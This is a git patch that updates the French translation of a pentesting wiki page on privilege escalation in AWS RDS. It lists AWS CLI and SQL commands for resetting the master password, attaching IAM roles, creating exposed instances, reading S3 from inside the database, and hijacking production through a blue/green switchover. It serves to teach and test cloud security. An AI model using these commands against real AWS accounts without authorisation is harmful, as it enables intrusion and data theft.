From 820e47e7299eb9e4c092be7c321b885332aebf1e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:29:12 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 94 +++++++++++-------- 1 file changed, 57 insertions(+), 37 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 60bf0ed92..0c7efc788 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## RDS - Service de base de données relationnelle +## RDS - Relational Database Service Pour plus d'informations sur RDS, consultez : @@ -12,7 +12,7 @@ Pour plus d'informations sur RDS, consultez : ### `rds:ModifyDBInstance` -Avec cette permission, un attaquant peut **modifier le mot de passe du master user**, et le login à l'intérieur de la base de données : +Avec cette permission, un attaquant peut **modifier le mot de passe du master user**, et le login à l'intérieur de la base de données: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,28 +27,28 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Vous devrez être capable de **contacter la base de données** (elles sont généralement accessibles uniquement depuis l'intérieur des réseaux). - -**Impact potentiel :** Trouver des informations sensibles dans les bases de données. - -### rds-db:connect - -Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un utilisateur avec cette permission pourrait se connecter à l'instance DB. - -### Abuse RDS Role IAM permissions - -#### Postgresql (Aurora) - -> [!TIP] -> Si l'exécution de **`SELECT datname FROM pg_database;`** renvoie une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une base de données **AWS postgresql**. - -Dans un premier temps, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pouvez le vérifier en regardant les extensions installées : +> Vous devrez être capable de **contacter la base de données** (elles sont généralement accessibles uniquement depuis des réseaux internes). +> +> **Impact potentiel :** Trouver des informations sensibles à l'intérieur des bases de données. +> +> ### rds-db:connect +> +> According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +> +> ### Abuse RDS Role IAM permissions +> +> #### Postgresql (Aurora) +> +> > [!TIP] +> > If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. +> +> Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à d'autres services AWS. Vous pouvez vérifier cela en regardant les extensions installées : ```sql SELECT * FROM pg_extension; ``` -Si vous trouvez quelque chose comme **`aws_s3`** vous pouvez supposer que cette base de données a **une forme d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**). +Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **un accès quelconque à S3** (il existe d'autres extensions comme **`aws_ml`** et **`aws_lambda`**). -Aussi, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez voir là si le **cluster a un IAM Role attaché** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. D'après le **nom du role** (ou si vous pouvez obtenir les **permissions** du role) vous pouvez **deviner** quels accès supplémentaires la base de données possède. +De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez y voir si le **cluster a un IAM Role attaché** dans le champ **`AssociatedRoles`**. Si c'est le cas, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. D'après le **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pouvez **deviner** quels accès supplémentaires la base de données possède. Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec : ```sql @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Si vous aviez **raw AWS credentials**, vous pourriez aussi les utiliser pour accéder aux données S3 avec : +Si vous aviez des **identifiants AWS bruts**, vous pourriez également les utiliser pour accéder aux données S3 avec : ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **n'a pas besoin de modifier aucune variable de groupe de paramètres** pour pouvoir accéder à S3. +> Postgresql **n'a pas besoin de modifier une variable de groupe de paramètres** pour pouvoir accéder à S3. #### Mysql (Aurora) > [!TIP] -> Dans un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il existe un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **AWS RDS mysql db**. +> Dans un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il existe un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes à l'intérieur d'une **AWS RDS mysql db**. -Dans le mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez considérer que la base de données est prête à accéder aux données S3. +À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3. De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS). -Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec: +Maintenant, pour **lire un fichier inside a bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -104,12 +104,12 @@ Un attaquant disposant des permissions `rds:AddRoleToDBCluster` et `iam:PassRole ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données de l'instance RDS.\ -Notez que certaines DBs nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups. +**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\ +Notez que certaines bases de données nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups. ### `rds:CreateDBInstance` -Rien qu'avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et auquel est attaché un **IAM role**. Il ne pourra pas changer le mot de passe du master user, mais il pourrait être capable d'exposer la nouvelle instance de base de données sur Internet: +Avec cette seule permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et auquel est attaché un **IAM role**. Il ne pourra pas changer le mot de passe du master user, mais il pourrait exposer la nouvelle instance de base de données à Internet: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO : Tester -Un attaquant disposant des autorisations `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données contenues dans l'instance. +Un attaquant disposant des permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données contenues dans l'instance. > [!WARNING] -> Certaines exigences pour le rôle/instance-profile à attacher (depuis [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Quelques exigences du rôle/instance-profile à attacher (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - Le rôle/instance-profile doit exister dans votre compte. -> - Le profile doit avoir un rôle IAM que Amazon EC2 est autorisé à assumer. -> - Le nom de l'instance profile et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom` . +> - The profile must exist in your account. +> - The profile must have an IAM role that Amazon EC2 has permissions to assume. +> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. +**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Un attaquant disposant des permissions `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données contenues dans l'instance. +Un attaquant disposant des permissions `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant **d'accéder à des données sensibles** ou de modifier les données contenues dans l'instance. > [!WARNING] -> L'instance DB doit se trouver en dehors d'un cluster pour cela +> L'instance DB doit être en dehors d'un cluster pour cela ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. +**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données de l'instance RDS. + +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +Un attaquant disposant de ces permissions peut cloner une base de données de production (Blue), attacher un rôle IAM à hautes privilèges au clone (Green), puis utiliser switchover pour remplacer l'environnement de production. Cela permet à l'attaquant d'élever les privilèges de la base de données et d'obtenir un accès non autorisé à d'autres ressources AWS. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Impact potentiel**: Prise de contrôle complète de l'environnement de base de données de production. Après la bascule, la base de données fonctionne avec des privilèges élevés, permettant un accès non autorisé à d'autres services AWS (p.ex., S3, Lambda, Secrets Manager) depuis la base de données. {{#include ../../../../banners/hacktricks-training.md}}